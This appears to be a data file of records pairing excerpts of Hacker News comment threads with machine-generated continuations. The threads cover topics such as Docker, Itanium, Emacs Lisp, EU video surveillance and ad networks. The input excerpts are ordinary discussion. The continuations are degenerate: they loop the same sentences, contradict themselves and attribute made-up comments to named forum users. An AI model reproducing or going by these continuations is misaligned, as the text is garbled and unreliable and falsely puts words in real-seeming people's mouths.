1 m using a... 39 megapixel digital camera... with\n120 mm macro lens\"\n\nGood news: At least we can still trust that normaly surveillance cameras won't\nhave the kind of resolution to perform this feat.\n\n~~~\nboxey\n... with 2x Bowens DX1000 1kW flash lamps with dish reflectors to illuminate\nthe bystanders at a distance of 1 meter.\n\nThat's ridiculous. Why is this even published?\n\n~~~\nhvidgaard\nThe point is that the information is clearly there, and with current\ntechnology it is possible to extract it under ideal circumstances. It's not to\nsay it's feasible or will be, but it's not hard to imagine sensors becoming\nadvanced enough to capture the required light without using a special lens and\nartificially illuminate the bystanders.\n\n~~~\nboxey\nWrong, current image sensors have around ~50% quantum efficiency nowadays. [1]\nThat's 1 f-stop from the theoretical maximum, while they're pushing around 10\nf-stops above the top-of-the-line mobile phone cam / security cam.\n\nThe pace of technology is still limited by physics - if they take out the 2kW\nmonster flash then the lens size needs to be increased to a diameter of\nseveral meters, just to maintain the same performance at a distance of 1 meter\n(!).\n\n[1]\n[https://en.wikipedia.org/wiki/Quantum_efficiency](https://en.wikipedia.org/wiki/Quantum_efficiency)\n\n~~~\naeturnum\nYou're missing the point. This is not a paper on image acquisition, it is a\npaper on image processing. Because they began from scratch, they"} +{"output_text": " is a rare skill.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that we're finally getting some recognition for the\ninfluence of Engelbart, but I'm not sure if it's a good thing.\n\nI think it's great that we're finally getting some recognition for the\ninfluence of Dijkstra, but I'm not sure if it's a good thing.\n\n", "input_text": "intellectualism\" comment was about.\n\n>The undisguised appeal to anti-intellectualism and anti-individualism was\nfrightening. He was talking about his \"augmented knowledge workshop\" and I was\nconstantly reminded of Manny Lehman's vigorous complaint about the American\neducational system that is extremely \"knowledge oriented\", failing to do\njustice to the fact that one of the main objects of education is the insight\nthat makes quite a lot of knowledge superfluous.\n\nWish the author went into more detail on why now may be different than during\nKay/Engelbart's time.\n\n[0]\n[https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/E...](https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/EWD387.html)\n\n~~~\nrasz_pl\nThere is this \"Tim van Gelder on Douglas Engelbart, Intelligence Amplification\nand Argument Mapping\"\n\n[https://www.youtube.com/watch?v=P77FvUy-\nNGA](https://www.youtube.com/watch?v=P77FvUy-NGA)\n\n------\nakkartik\nThe EWD by Dijkstra now actually mentions Engelbart by name:\n[https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF](https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF).\n\n~~~\ntlb\nProps to Dijkstra for choosing the right topics to have strong opinions about,\nwhich"} +{"output_text": " comments.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article. It seems to be saying\nthat parking is a commodity and that the market will determine the price.\n\nI\u2019m not sure I agree with that. I think parking is a public good and that\nthere is a cost to providing it.\n\n~~~\nmatt_the_bass\nI\u2019m not sure I understand the point of this", "input_text": " all of the content in one tweet\n\n[https://twitter.com/saallyjohnsonn/status/121719070339206758...](https://twitter.com/saallyjohnsonn/status/1217190703392067584)\n\n------\naninteger\nWhatever happened to parking permits, parking officers, and parking tickets?\n\n~~~\nISL\nBoots are used to ensure compliance from those who would skip parking fines.\n\n~~~\n_jal\n\"Parking here [inconveniences|isn't fair to|creates danger for] others, so if\nyou leave your car here, we will make the situation worse by ensuring the\nalleged harm will continue longer than it otherwise would.\"\n\nYes, something something deterrence. Again, in reality, the article explains\nhow that played out.\n\nProper law enforcement isn't cheap, and if it is a profit center, you don't\nhave peace officers, you have highwaymen.\n\n------\nselfishgene\nMaybe online degree programs should start advertising:\n\n\"No Parking Fees EVER!\"\n\nKnow someone that got a master's degree from the comfort of his own living\nroom for under $10K and is now earning a decent six-digit salary.\n\n------\nunnouinceput\nQuote: \"The company\u2019s CEO says improvements have been made to counter these\nhacks already, but we\u2019re curious to see where this parking arms race heads\nnext.\" Me too, lol. Can't wait to see as well, I mean you put your low\nsolution vs students who eat this stuff as hobby and you think you'll best\nthem? good luck there Mr. CEO\n\n------\nScoundreller\nThis is just a bunch of unverified reddit"} +{"output_text": " the\nprivacy of most of the biggest tech companies in the EU.\n\n[1] [https://www.irishtimes.com/business/technology/data-\nprotection...](https://www.irishtimes.com/business/technology/data-protection-\ncommissioner-says-it-is-a-shame-that-the-office-is-in-a-supermarket-\nbuilding-1.4207221", "input_text": " point out that Valentines day is originally a European\ntradition.\n\n~~~\nxxs\nIndeed, the 'tradition'/origin has the roots somewhere down the Roman Empire,\n3rd century. Now it has been commercialized to a high degree.\n\nMy point was something like: take US holidays grade on the scale 1-10;\nChristmas 10, Halloween, Thanksgiving Day - 9, 4th of July, New Year - 8....\nValentine's Day - 4, Memorial Day - 2. (not all rated, obviously)\n\nGermany - barely registers as anything; Spain, Sweden, Estonia - not a thing\nat all. There might be promotions, advertising, etc. but it's not an engraved\nthing for the decision to matter the date/proximity of Valentine's Day.\n\n------\nbilekas\nIreland has a lot of strange relationships with large tech companies, but I\ncan say for sure, we have some great data protection laws.\n\nGenuinely delighted that some people pay attention to these things and know\nwhat they're talking about.\n\n~~~\nF30\nLaws maybe, though these are set at the EU level (and one might argue about\nthe greatness of GDPR).\n\nStill, the rest of the EU (or at least Germany) is quite unhappy with the\nenforcement of these laws in Ireland. It is absurd that the Irish Data\nProtection Commissioner is supposed to control the privacy of most larger tech\ncorporations for the whole EU. A few years ago, they only had 22 employees and\ntheir only office was literally co-located with a supermarket in the suburbs\n[1]. They got a second office since then and apparently are now at around 100\nemployees [2], but that is still quite small if you have to control"} +{"output_text": "I think RMS is the reason why GNU can't have nice things.\n\n------\njordigh\nI'm not sure I understand the point of this article. It seems to be saying\nthat the Emacs Lisp codebase is too big and too complex to be replaced by a\nsmaller, simpler, more modern language.\n\nBut that's not what the article is saying. The article is saying that the\nEmacs Lisp codebase is too big and too complex", "input_text": " incompatibilities gradually (so that packages can\ncatch up in some humane timeframe). I could imagine the ELisp runtime being\nintertwined with the Emacs C code badly enough that making radical changes to\nit would seem \"impossible\", just like in the CPython codebase it is considered\nimpossible to ditch GIL and modernise the code. But those kind of comments are\noften excuses because people are lazy and it's nicer to write new code.\n\n~~~\nJulianMorrison\nIf I was them, I'd gradually introduce the minimum set of breaking changes to\nELisp that converge it on Common Lisp. Even if those changes were unhelpful or\nremoved features. Then eventually, when it maps 1:1 onto a subset of CL, just\nswap the implementation for a supported CL.\n\n~~~\nmjn\nSome years ago the a clisp maintainer actually made a minimal demo of Emacs\nhosted on clisp with just a compatibility layer for Elisp via\nmacros/functions, which seemed to work pretty well. But it didn't progress any\nfurther because Stallman vetoed basing Emacs on Common Lisp (he considers CL\nto be too big a language, and to some extent just doesn't like it). In\nretrospect I'm not sure this was a good call: Guile as a general VM with\ncustom infrastructure to support both Scheme and Elisp is not really a more\nclean, minimalistic infrastructure anyway. The semantics of Elisp/Scheme are\ntoo different to be able to just stick in a Scheme implementation with a\nsmallish compatibility layer, like you could with Elisp hosted on CL.\n\n~~~\nJulianMorrison\nToo often it seems RMS is why GNU can't have nice things.\n\n~~~\nfleitz\n"} +{"output_text": " thing?\n\n~~~\ndarpa_escapee\nI want a degree because I want to be able to get a job.\n\n~~~\nmehh\nI don't think that's the only reason.\n\n~~~\ndarpa_escapee\nI don't think it's the only reason either.\n\n------\njimmyvalmer\nI'm not sure what you mean by \"a degree\".\n\nIf you want to get a job, you need to", "input_text": ".\n\n------\nohyes\nI skipped undergrad CS and went directly to a masters.\n\nThere are \u2018working professionals\u2019 masters degrees that are geared towards this\ntype of thing. They don\u2019t have the cachet of Stanford or whatever, but can be\ninteresting and useful if you apply yourself.\n\nIf they accept you, they will make you take a prerequisite class to ensure you\nare at the right level.\n\nI wouldn\u2019t expect a monetary gain from this as college is quite expensive, it\nisn\u2019t clear a degree noticeably increases your salary. I would recommend doing\nit primarily out of personal interest.\n\nIt does make the \u2018foot in the door\u2019 at a bigger company easier, but it\u2019s not\nclear that it has directly helped me in that way due to the size of companies\nI normally gravitate towards. The knowledge has been very useful, however.\n\n~~~\ndarpa_escapee\n> I skipped undergrad CS and went directly to a masters.\n\nDid you have any undergrad credits or degree?\n\n~~~\nohyes\nI had some credits, no degree. I didn\u2019t want to take calculus and at the time\n(I think it would have been 4 courses in it, amounting to 1/8 of my credits).\n\nI wasn\u2019t particularly bad at math, just uninterested in rehashing calculus.\nOther stuff was more interesting than a double major. (Music, English,\nScience).\n\nI had been working as a software engineer for about a year, so that helped.\n\nIt also helped a lot that I have had some very supportive mentors in my life\n(willing to recommend me).\n\n------\nmehh\nWhy? Why do you want a degree?\n\nIs it purely a personal"} +{"output_text": " is used by many companies to get feedback on their products.\n\n[https://www.screensquid.com](https://www.screensquid.com)\n\n~~~\nrgbrgb\nThanks for the link! I'll check it out.\n\n------\njoshstrange\nI'm not sure if this is the right place to ask this but I'm curious if anyone\nhas any experience with the \"Chess.com\" app? I've", "input_text": "\ndangero\nWould love to see something like this done in augmented reality so you point\nit at a chess board and it gives you info about the game in progress.\n\n~~~\nyeldarb\nCheck in later this week :)\n\n(Not chess but I think we\u2019re on the same page!)\n\n------\ntonyinthehouse\nThis could be very useful for building your own chess bot! I am definitely\ngoing try this out when I have some free time.\n\n \nAsk HN: How did you get over your fear of shipping? - fratlas\nCurrently building a web app and feature creep and an intense feeling that the product is worthless (I enjoy using it, but it's niche so hard to user-test) is a daily occurrence. is this normal?\n======\nrgbrgb\nHere's an open secret that might make you feel more comfortable: you can\nlaunch as many times as you want until people notice. Here's an awful public\nlaunch:\n[https://news.ycombinator.com/item?id=13343276](https://news.ycombinator.com/item?id=13343276).\nThere's no signup, buttons seem not to work. Nobody's going to care/remember\nif they try again when the app is more baked in a couple weeks.\n\nIf you're not sure if your thing is usable, find someone who you can watch use\nit in person.\n\n~~~\nscreensquid\n> If you're not sure if your thing is usable, find someone who you can watch\n> use it in person.\n\nIf you can't find someone to use it in person, you can get user experience\nfeedback with a session recording tool. I am the author of such software,\nwhich"} +{"output_text": ", but I am interested in\nthe quality of my sleep.\n\n~~~\nio\nI haven't compared it to other products, but I have compared it to my own\nhabits. I've been using it for about a month now, and I've been waking up\naround the same time every day. I'm not sure if that's a good thing or a bad\nthing.\n\nI'm not sure if it's a good thing because I'm not getting enough sleep", "input_text": " Fyi I have not.\n\n~~~\nspydertennis\nSend us an email: contact@wakemate.com and we'll figure it out.\n\n------\nchancho\nAny users with small children care to share your experiences? Is it even worth\nthe bother, given that huge uncontrollable variable in your sleep habits?\n\n~~~\nio\nI was kind of curious about this, too. If I wake up in the middle of the night\nto deal with a sick toddler, will WakeMate know I'm fully awake based on the\nfact that I'm walking around? I suppose it would be much like waking up to go\nto the bathroom, for those without young kids.\n\nObviously the alarm's only going to help if I set it for a window I know is\nbefore the kids wake up. Otherwise it's their voices that'll wake me. On work\ndays, that would suit my usual routine. On the weekend, I'm not sure it would\nbe worth it to forego a potential extra hour of sleep by setting the WakeMate\nalarm.\n\nBut it's still tempting, just to chart my sleep during the week and be able to\nmeasure the effects of caffeine, exercise, etc. I'll probably wait until there\nare reviews and testimonials from people who have used it for a few months.\n\nI was tempted a couple years ago by a much more expensive product whose name I\ncan't recall. I think it was $300-400. In contrast, it's pretty easy to take a\nchance on $60. Cool product, guys. I hope you're wildly successful.\n\n------\ndesigooner\nHave you compared some of your analytics/benchmarks with competing products?\n\nI am not sure I'm interested in an optimal waking time"} +{"output_text": ".\n\n\\- The ability to use the same tools to create and manage a database is\nsuperior to MSSQL. I can create a database, add tables, add indexes, etc.\nfrom the command line in PG. I can do the same in MSSQL but I have to use\nmanagement studio.\n\n\\- The ability to use the same tools to create and manage a database is\nsuperior to MSSQL. I can create a database, add tables, add indexes,", "input_text": "\nfergussimpson\nThanks, I've fixed it now!\n\n~~~\ntronje\nThank you! I didn't mean to come across as overly critical, but I really think\nit is a much nicer reading experience now. Very cool that you considered my\ncriticism :)\n\n------\nfrechtoast\nI'm of the opinion that life doesn't exist elsewhere. That said, I don't care\nenough to even try to support my own bias. I'm not going to spend time trying\nto get anyone to believe either way, because we've got bigger issues right\nnow. Aliens aren't here, starvation is.\n\nHow did this ridiculous tinfoil-hat article even make it into Hacker News!?\n\n~~~\ndrdeca\nIs it tinfoil hat? I was not under the impression that it was suggesting any\nsort of conspiracy or anything.\n\nEven if the arguments it makes are wrong I'm not under the impression that\nthey are particularly kooky.\n\n \nPostgreSQL vs. SQL Server from the point of view of a data analyst (2014) - insulanian\nhttps://www.pg-versus-ms.com/\n======\nnetcraft\nMy previous job(s) were primarily MSSQL and I was excited to get to use PG in\nmy current position. In general I agree with the premise of the article - for\njust about everything PG is better. For me, the only places where MSSQL has an\nedge is:\n\n\\- Management Studio is superior to any standard query manager ive found for\nPG. I currently use what is in intellij (which is similar to their datagrip\nproduct) which I find perfectly acceptable and in some ways superior to\nManagement Studio, but PGAdmin isn't in the same ballpark"} +{"output_text": " problems, and it's a great way to learn how to think about problems.\n\n~~~\nCyberFonic\nI agree with you. I have been programming for over 30 years and I still\nstruggle with the basics. I have been writing code for over 20 years and I\nstill struggle with the basics.\n\nI have been programming in C++ for over 10 years and I still struggle with the\nbasics. I have been writing code for over 10 years and I", "input_text": " researches, grabbed a related domain and\nmaking a plan.\n\nLearning Programming? Oups! I forgot about it!!!\n\n------\nCyberFonic\nYou need to design first - on paper, white-board, etc. You wouldn't build a\nhouse without blueprints, so why try to write a big program without sketching\nstuff out so that you can break down into manageable chunks.\n\nIf that doesn't help, then maybe you need to take a good CS course. If you\nhave only programmed in C++, then it doesn't sound like a comprehensive\nbackground in CS.\n\n~~~\njff\nExactly this. The image of the lone hacker sitting down and pouring out a\nbunch of code straight from his brain is a romantic one, but if you haven't\nspent a little time deciding what your data structures are going to look like\nand how you're going to pass stuff around, etc., your code will be crap. \"Just\ncoding it\" leads to both frustration as you sit wondering what you should be\nwriting and why programming is so hard, and poor code. The poor code comes in\nwhen you start throwing in stuff like one-use elements in your structs to keep\ntrack of something you hadn't forseen, when a little bit of planning could\nhave alleviated that.\n\nI'm certainly not saying you should go write up a design document complete\nwith UML and everything. That would be ridiculous, damn it I'm an engineer not\na bureaucrat! Just sit down and think (on paper) about how some of the\nimportant stuff needs to look. It'll help a lot.\n\nAs for the second point, C++ does seem like a weird place to start. Go learn\nassembly or C. Learning to write assembly is a process of continually solving\ntiny"} +{"output_text": "\n[2] [https://www.amazon.com/Procrastination-Annihilation-\nProcrast...](https://www.amazon.com/Procrastination-Annihilation-Procrastination-\nebook/dp/B01I0J4YZS)\n\n------\nmatt_the_bass\nI\u2019ve been working on this for a while. I\u2019ve found that I can\u2019t focus on\nanything", "input_text": " clocks. In some cases, I'm doing what it takes to\nsynthesize one of my own, according to the rhythms and cycles of the dominant\n\"super-clock\". They don't ask it of me, it's just that without enforcement of\ninterplay, I lose all momentum.\n\nWithout a support crew, an Astronaut on an EVA can only accomplish so much.\n\nNo clock, no appointments. No appointments, no money.\n\n------\ntemp23099mv\nI've had similar problems. After trying to overcome the problem myself for\nmuch too long, embarrassed to even reveal it to others, I found a great\ntherapist and they helped immensely.\n\nProbably the most important thing I learned is that there are healthy, very\nhuman needs behind bad behaviors. Stop fighting yourself and doing tricks and\nworkarounds (hacks, etc.), and start caring about and helping yourself. When\nyou can't focus on work, what do you really need, on an emotional level? What\ndoes the video game provide? What are you avoiding?\n\nIf you don't understand your subconscious drives and emotions, you will be a\nslave to them.\n\n------\ntimtas\nLast week I heard an interesting interview [1] of Antony Sammeroff, author of\na free e-book titled Procrastination Annihilation. [2]\n\nI hesitate to recommend to you yet another anti-procrastination technique.\nMost of them are probably gimmicks that wear off quickly, as you have\ntestified. But this book sounds like good stuff to me. I know this guy a\nlittle, and I think he's really smart.\n\n[1] [https://tomwoods.com/1090](https://tomwoods.com/1090)\n"} +{"output_text": "bers, and you can see the craft\nbehind them.\n\n------\njameshart\nI think the best way to get a sense of the value of art is to see it in\nperson.\n\nI've been to a few art galleries, and I've seen a lot of art. I've also seen\na lot of art in books, and I've seen a lot of art in movies.\n\nBut I've never seen art in person.\n\nI've", "input_text": " that\nmatters if you can't connect with art in the first place.\n\nPersonally, the first time I ever saw a Mark Rothko painting in person create\na seismic shift in my understanding of art and more specifically painting.\n\nTo me, viewing art is like listening to music you really love. You will know\nimmediately if you enjoy the piece, and will learn to appreciate it more and\nmore every time you look at (or listen to) it.\n\nPeople get too hung up on the \"meaning\" of art. What is the \"meaning\" of your\nfavorite song? My guess is that your connection to your favorite song is\nrooted in familiarity, nostalgia, or pure enjoyment, and not in the literal\nmeaning of the lyrics (although that is entirely possible!).\n\nGo and see art in person. Looking at it through a computer screen is bad for\nyou and bad for artists. Go to local gallery openings, museums, or art\nstudios.\n\n------\nJtsummers\nThere's a museum in Florence that I went to where you could see many statues\nin various states of completion. It was fantastically beautiful. They were\nclearly not complete works, Michelangelo had intended to do more. But for\nwhatever reason they never were finished. Despite their state of\nincompleteness, you could see the craftsmanship involved in getting them to\ntheir current state. But you could also see beauty in this unfinished state,\nas if the men (predominantly) of stone were climbing out of the rocks\nthemselves.\n\nShow someone an image of the Statue of David and it's not that interesting.\nBut see it in person. The immenseness of it. The detail that went into it. See\nthese other statues nearby, like stone tim"} +{"output_text": " and the\nonly place I could get access to macOS Services was in the \"Services\" tab of\nthe \"Preferences\" window.\n\nI'm not sure what Eclipse is doing differently, but it's definitely not\nnative.\n\n~~~\nzapzupnz\nI'm not sure if this is relevant, but I just tried Eclipse again, and it\nseems to be working fine now.\n\nI'm not sure what I did differently, but I'm glad", "input_text": "Over on Mac. NVDA's \"browse mode\"\nfeatures work equally well whether it's Electron, Chrome, or Firefox (and to a\nlesser extent in IE and Edge).\n\nIn another thread, you wrote that Xcode is the best IDE you've found for Mac\nsimply because it's native to the Mac. Have you tried Eclipse? Given that\nEclipse's SWT widget toolkit is based largely on native widgets, it might be\nnative enough. Then again, the editor is custom, so it may still fall short.\n\nI ask you these questions because I'm interested in the perspective of a Mac\nuser who has apparently learned to make very effective use of multiple Mac\naccessibility features.\n\n~~~\nzapzupnz\nI had to install Java and Eclipse to give it a try just to reply to this\ncomment.\n\nI never liked Eclipse, it always felt extremely non-native to me. Nothing much\nseems to have changed.\n\nRight from the start, the Eclipse Installer (by Oomph, apparently) is a web\napp that VoiceOver has difficulty with meaning I have to interact with it\nusing web navigation controls which is a pain when I'm not expecting it.\n\nThe rest of the interface was a bit hit and miss. Either VO could read what\nwas on screen, or it thought I was looking at a table that apparently had no\nelements in it.\n\nTurning VO off and clicking around, still definitely not a native experience,\nthough better than I remember it. Native-handling of text, access to macOS\nServices\u2026 but only in certain parts of the program!\n\nAfter poking around a bit more, it turns out the only places I could get\nnative handling of text were web views (of which there are many);"} +{"output_text": "\nit\u2019s not just the VM approach that\u2019s being abandoned, but also the approach\nof having a single OS that runs on both Windows and Linux.\n\n~~~\nWowfunhappy\nI don't think that's true. I think the point is that Microsoft is moving away\nfrom the \"one OS\" approach, and instead is going to have a \"one OS\" that runs\non both Windows and Linux.\n\n~~~\nsaagarjha\nI think you", "input_text": " think will be a\nhuge win.\n\n~~~\njeffbee\nIt seems a bit silly to discuss servers based on Apple's architecture before\nthey reveal something with several cores. Mainstream x86 processors have 64\ncores per socket. These are the top contenders in SPEC performance-per-watt\nbenchmarks. Notably, nobody has ever even bothered submitting a SPEC result\nfor an ARM server, in particular not Ampere, whose product \"provides industry\nleading power efficiency/core\" even though there is no evidence to back this\nclaim.\n\n~~~\nsergeykish\nIt is a lucrative market, they have money and followers. I would not believe\nthey could design smartphone processor but here we are. Lets check in five\nyears.\n\n------\ngspr\nStuff like this is one area where Debian and other GNU/Linux distros are so\nvaluable. The architecture doesn't matter much, and the flexible distros are\npoised to adapt well to this heterogeneous world.\n\n------\nsaagarjha\n> Windows, particularly given the ability to run a full-on Linux environment\n> without virtualization\n\nAn effort that Windows seems to be in the direction of abandoning. (Plus,\nwriting these kinds of compatibility layers is complicated but not _super_\ncomplicated. What you really want is performance, and that\u2019s hard.)\n\n~~~\nWowfunhappy\nAre you referring to the fact that WSL2 is technically a VM?\n\nYou're not wrong, but the point seems a bit pedantic\u2014Microsoft is clearly\ninvesting a lot into making WSL2 _feel_ native, and it runs acceptably fast.\n\n~~~\nsaagarjha\nYes, the VM approach won\u2019t work if your underlying architecture changes. And"} +{"output_text": " think the city is doing a great job.\n\nThe city is investing in the area, and the city is investing in the people.\n\nThe city is investing in the people, and the city is investing in the\nneighborhood.\n\nThe city is investing in the neighborhood, and the city is investing in the\npeople.\n\nThe city is investing in the people, and the city is investing in the\nneighborhood.\n\nThe city is investing in the neighborhood,", "input_text": "TR's economic prospects for a decade.\n\n------\nsubzidion\nHere's a TL;DR\n\n> \"the Cincinnati Center City Development Corp.\u2014better known as 3CDC\u2014has\n> invested or leveraged more than half a billion dollars into Over-the-Rhine,\n> buying and rescuing 131 historic buildings and building 48 new ones, while\n> maintaining subsidized housing, rehabilitating parks and driving out\n> criminals with cameras, better lighting, liquor store closings and the\n> development of vacant lots\"\n\n~~~\nantisthenes\nHere's a TL;DR for your TL;DR.\n\nReal estate development corp invests $500 million into gentrifying an area.\n\n~~~\naminok\nYou know how far gone social justice is as an ideology when \"gentrification\"\nhas become a bad word.\n\nGentrification means more safe high quality neighbourhoods for people to live\nin. The local effect might be to price some low income people out of their\ncommunity but the systemic effect is to increase the supply and therefore\nreduce the cost of better quality housing.\n\n \nThe \u2018Real You\u2019 Is a Myth - prostoalex\nhttps://theconversation.com/the-real-you-is-a-myth-we-constantly-create-false-memories-to-achieve-the-identity-we-want-103253\n======\nhrnnnnnn\nThis sounds like the idea of \"no-self\" from Buddhism.\n\n[https://en.wikipedia.org/wiki/Anatta](https://en.wikipedia.org/wiki/Anatta)\n\n~~~\nhelloindia\nAs someone who is studying at the moment, I thought the same.\n\n------\nFri21Sep\nI disagree. I"} +{"output_text": ".\n\n~~~\nmarcus_holmes\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\n~~~\nJon_Lowtek\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\nI'm not sure if you", "input_text": " video\nsurveillance\" to other large cities, starting with Heidelberg this year and\nfocusing on central train and tram stations.\n\nThere are many sources in german about this topic, some praising it, some are\nmore critical. Another such \"pilot project\" is run at Hamburg Hauptbahnhof and\nthat one got a lot more bad feedback, because they also \"try\" facial\nrecognition and tracking smart phone signals.\n\nIt should be noted that the european union invested into this technology\nstarting with the 7th Framework Programm in 2007 under the codenames INDECT,\nADABTS and SAMURAI. Expect to be flagged for \"abnormal, possibly criminal\nbehaviour\" in the future if you run or loiter at a large train station.\n\n~~~\nJon_Lowtek\nGermany: the city of Freiburg is also buying 18 new cameras for the area\n\"Bermudadreieck\" and \"Bertoldstra\u00dfe\". I couldn't find any information on how\n\"smart\" that system is going to be.\n\nIn Darmstadt the central tram hub \"Luisenplatz\" is going to get modern video\nsurveillance, too. Bought from Dallmeier Electronic GmbH & Co. KG. The mayor\nsaid no facial regocnition is planned, even if the vendor offers integration\nwith such systems. Its unknown if advanced behavior analysis is included. It\nis likely that all cities buy from different vendors and may get very\ndifferent quality of automated video content analysis.\n\nIn Hannover the local police veiled their own cameras last year during a\ndemonstration against a new police law. The demonstration asked for that and\nannounced to go to a court and the police just complied without waiting for a\ncourt order"} +{"output_text": "\n\n> Except for HP\n\nI'm not sure what you mean by HP.\n\n~~~\nghaff\nI'm not sure what you mean by \"solely developed by AMD and licensed to Intel.\"\n\nAMD did develop x86-64 and licensed it to Intel. Intel did develop Itanium and\nlicensed it to HP.\n\n~~~\ncodinger\nI'm not sure what you mean by \"solely developed by AMD and licensed to Intel.\"\n\n", "input_text": " Alpha (perhaps the fastest chip of its era), and\n> anything else in the pipeline were all cancelled or deemphasized. Why?\n> Because Itanium was the future for all computing. Why bother wasting money\n> on good ideas that didn't include it?\n\n> The failure of this chip to do anything more than exist as a niche processor\n> sealed the fate of Intel\u2014and perhaps the entire industry, since from 1997 to\n> 2001 everyone waited for the messiah of chips to take us all to the next\n> level.\n\n> It did that all right. It took us to the next level. But we didn't know that\n> the next level was below us, not above. The next level was the basement, in\n> fact. Hopefully Intel won't come up with any more bright ideas like the\n> Itanium. We can't afford to excavate another level down.\n\n~~~\nghaff\nI'm not sure what point Dvorak is even making in that article. Yeah, a lot of\nultimately wasted effort went into Itanium. But we ended up with x86-64 plus a\nsomewhat diminished set of CPUs from some of the big Unix vendors. It's an\ninteresting question but I'm ultimately not sure that the computer industry\nwould look all that different today had Intel just done 64-bit extensions to\nx86 or something similarly evolutionary.\n\nAMD might well not exist. But, except for HP, the big Unix vendors mostly\nhedged their bets anyway. The large Japanese companies who also backed Itanium\nnever were going to make the investments to break out beyond Japan.\n\n~~~\ncodinger\nX86-64/AMD64 was solely developed by AMD and licensed to Intel.\n\nI'm stating this because I can't tell what you mean by:"} +{"output_text": " the fact that they are a new player, and I think they are\ngoing to be a tough competitor to Admob, MM and Inmobi.\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob and MM?\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob and MM?\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob and MM?", "input_text": "s part as opposed to the percent of apps\npart.\n\nRight now on that metric the top ad networks in order are Admob, then\nMillennial Media, then Inmobi, then Tapjoy. I use the first three, and have\ngotten multiple checks from Admob and MM.\n\nOne thing to watch is ad fill rates. Millennial Media and Inmobi have decent\nad fill rates for certain countries, and poor ones for other. Admob has good\nfill rates for all countries I have seen. Admob mediation allows you to dole\nout ads by country, so that you don't send ads to a network with low fill\nrates for a particular country. Adwhirl is another mediation service owned by\nGoogle - it allows for backfill (if one service has no ads, try to load ads\nfrom another service). Google wants people to migrate from Adwhirl to Admob\nmediation, but Admob mediation has no backfill.\n\nI have a number of non-game apps with various fill rates - usually around 1%,\ngive or take 0.5%. I put out some games a few months ago, and their click-\nthrough rates were all bad - less than 0.5%. As Admob looks at apps as a\nwhole, this poor performance began pulling down the fill rates of my apps with\ngood CTR. I now just advertise my other apps on (most of) my games.\n\nReally, Admob, MM and Inmobi ruled the field until Tapjoy started breaking\nout. Tapjoy has an interesting model, which work well with games which offer\nfreemium points and the like. Back when I tried (a few months ago) their SDK\ninstall methodology for Android was way behind the simplicity of Admob, MM or\nInmobi. Add to this"} +{"output_text": " situation.\n\n------\njoshstrange\nI've been using Docker for a few months now and I'm really enjoying it. I\nhaven't had to do anything with it that I couldn't do with a VM, but I've\nfound it to be a great way to get started with Docker.\n\n------\njoshstrange\nI've been using Docker for a few months now and I'm really enjoying it. I\nhaven't had to do anything with it", "input_text": " docker image starts within seconds\n\n~~~\nccozan\nIs this more like a Solaris zone or a Linux chroot-ed env?\n\n~~~\nnickstinemates\nA lot like Linux chroot, with some additional features, restrictions, and a\nmechanism to share them easily.\n\n------\nthebigspacefuck\nMakes system administration somewhat easier since the host OS can stay the\nsame and docker containers change, while giving developers more control. I\nhave total control of which version of packages is installed, which OS I'm\nusing. I don't have to create a ticket, argue over the ask, and get approval\njust to change an web server timeout. It sort of usurps the sys admin role,\nthough, which might be a negative. I can move my container anywhere that's\nrunning Docker and all packages are there inside of the container. If you\nspend a lot of time setting up new boxes, that's a plus. Before, I had to dump\nall packages, figure out which ones were missing, then install all of them,\nand the host OS had to be exactly the same. Now I know it's exactly the same,\nall the time, anywhere.\n\nMy only warning is that using anything but Ubuntu for your build host is going\nto take way too long and you're going to be waiting hours for it to complete\nif you don't have any layers cached.\n\n------\ncolordrops\nIt's very useful in situations where you need a reproduceable deployment and\nalso need high performance and direct access to hardware. We run simulations\nthat require a lot of setup, and we tried with VMs at first, but they were too\nslow and the GL driver inside of the VM didn't implement all the extensions we\nneeded. Docker worked perfectly in this"} +{"output_text": " were safe._\n\nThey could also just ban the chemicals.\n\n~~~\nsillygoose\nI'm not saying they should ban them. I'm saying they could warn people.\n\n~~~\nimron\nThey could warn people, but they don't.\n\n~~~\nsillygoose\nI'm not saying they should warn people. I'm saying they could warn people.\n\n------\njimrandomh\nThe EU is a political entity, not a", "input_text": " scenario (1) has a\nstronger claim to be said to be acting in the name of Person A than the person\nelected via process (2).\n\nThe EU is hence less democratic than the institutions is is replacing, and is\nin some sense democratically regressive.\n\n(And this is before any discussion about the differences in the legislative\npath between Westminster and the EU).\n\n~~~\nSagelyGuru\nI agree. Thank you for the expanded explanation of the reasons behind my above\nbrief comment. I just note in passing with wry bemusement, that my comment\nthat sparked such illuminating discussion apparently deserves only 0 points.\n\n------\nsillygoose\nYou know, if EU countries were genuinely concerned about their beloved\ncitizens coming into contact with damaging chemicals, they could warn them on\nthe evening news or something.\n\n \n \n Hey there Dear Citizens, these products have been found\n to cause cancer. Please avoid using them, and tell your\n friends to avoid them too! \n \n Best Regards, \n Your Benevolent, Caring Overlords\n \n\nDo you think that just _might_ have an effect on the companies producing the\ntoxic crap they force on us?\n\n \n \n \"Those naughty companies haven't stopped putting cancer-causing\n chemicals in their products. You should still boycott them.\"\n \n\nIf they really cared, they could just keep informing the citizenry until they\nwere safe.\n\n~~~\nimron\nUh-huh, right, because EU governments have editorial control of the evening\nnews, and also have bigger marketing budgets than the companies producing such\nchemicals.\n\nSure.\n\n _If they really cared, they could just keep informing the citizenry until\nthey"} +{"output_text": " halfway through the flight, the gamer gets up and goes to the bathroom.\nThe author gets up and goes to the bathroom, too. They both come back, and the\ngamer is sitting in the seat next to the author. The author asks the gamer\nwhat they were doing, and the gamer says they were playing a flight simulator.\nThe author asks if they were playing the same flight, and the gamer says yes.\nThe author asks if they were trying", "input_text": "\nstill angry. Should i serve meal early or wait until closer to destination?\"\n\n~~~\nTerminalJunkie\nThis quote was stolen from the comments section on the original article by\nBrian_EE\n\n\"I 